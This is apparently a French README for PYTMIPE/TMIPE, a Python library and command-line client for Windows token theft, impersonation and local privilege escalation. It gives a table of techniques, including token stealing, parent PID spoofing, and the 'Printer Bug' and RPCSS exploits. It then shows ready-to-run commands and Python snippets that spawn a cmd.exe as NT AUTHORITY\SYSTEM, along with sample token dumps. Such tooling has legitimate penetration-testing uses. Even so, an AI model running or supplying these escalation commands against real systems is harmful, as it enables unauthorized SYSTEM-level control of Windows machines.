
Bibliothèque Python et client pour les manipulations de jetons et les usurpations d'identité pour l'escalade de privilèges sous Windows
PYTMIPE (bibliothèque Python pour la manipulation de tokens et l'usurpation d'identité pour l'élévation de privilèges) est une bibliothèque Python 3 permettant de manipuler les tokens Windows et de gérer les usurpations d'identité afin d'obtenir plus de privilèges sur Windows. TMIPE est le client Python 3 qui utilise la bibliothèque pytmipe.
| Méthode | Privilège(s) requis | OS (non exhaustif) | Cible directe (max) |
|---|---|---|---|
| Création et usurpation de token | nom d'utilisateur et mot de passe | Tous | administrateur local |
| Usurpation/Vol de token | SeDebugPrivilege | Tous | nt authority\system |
| Spoofing du PID parent (héritage de handle) | SeDebugPrivilege | >= Vista | nt authority\system |
| Service (SCM) | Administrateur local (et niveau d'intégrité élevé si UAC activé) | Tous | nt authority\system ou compte domaine |
| Événement WMI | Administrateur local (et niveau d'intégrité élevé si UAC activé) | Tous | nt authority\system |
| LPE « Printer Bug » | SeImpersonatePrivilege (compte de service) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| LPE du service RPCSS | SeImpersonatePrivilege (compte de service) | Windows 10 & Server 2016/2019 | nt authority\system |
La liste non exhaustive suivante montre certaines fonctionnalités implémentées dans la bibliothèque pytmipe :
ctypes est utilisé autant que possible. De nombreuses fonctionnalités de pywin32 ont été redéveloppées dans pytmipe pour éviter l'utilisation de pywin32 pour une meilleure portabilité. Cependant, le module Planificateur de tâches utilise encore pywin32 (plus précisément pythoncom) par manque de temps. Tous les autres modules utilisent uniquement ctypes.
Pour le client Python (nommé tmipe) :
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
Pour la bibliothèque Python (nommée pytmipe), consultez le code source et les exemples. Normalement, j'ai bien documenté le code source... La plupart des fonctions sont documentées.
Pour les exemples pyinstaller et les exécutables autonomes, consultez les fichiers dans les dossiers src/examples/.
Pour usurper le premier token system et obtenir une invite cmd.exe en tant que system à partir du client Python (tmipe) :
python.exe tmipe.py searchimpfirstsystem -vv
Pour faire la même chose grâce à la bibliothèque pytmipe directement, consultez le fichier src/examples/searchAndImpersonateFirstSystemToken.py :
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
Cela ouvrira une invite cmd.exe en tant que system si l'utilisateur Windows actuel dispose des droits requis.
Bien sûr, à partir de ce code source, vous pouvez créer un exécutable autonome avec pyinstaller.
Pour obtenir les tokens primaires et d'usurpation utilisés dans le processus actuel :
python.exe tmipe.py printalltokens --current --full --linked
Output :
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
Pour obtenir tous les tokens accessibles depuis le thread actuel, organisés par pid, lorsque l'usurpation est possible uniquement :
python.exe tmipe.py printalltokensbypid --imp-only
Output :
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
Si vous souhaitez effectuer cette opération avec la bibliothèque pytmipe, c'est facile aussi :
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
Vous pouvez usurper un token sélectionné.
Première étape, obtenez tous les tokens selon vos filtres (tokens system et tokens pouvant être usurpés par le thread actuel) :
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
Output :
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
Cette sortie précédente montre un token d'usurpation situé dans le pid 2288 (ihandle 118), qui a un niveau d'intégrité system. Il est possible d'usurper ce token spécifique avec la commande suivante :
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
Cette commande précédente ouvre une cmd.exe en tant que nt authority\system.
Cela peut également être fait avec la bibliothèque pytmipe. Le code source suivant usurpe le premier token system disponible, affiche le token effectif et arrête l'usurpation :
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Si vous souhaitez soutenir mon travail en faisant un don, je vous en serai très reconnaissant :
Via BTC : 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf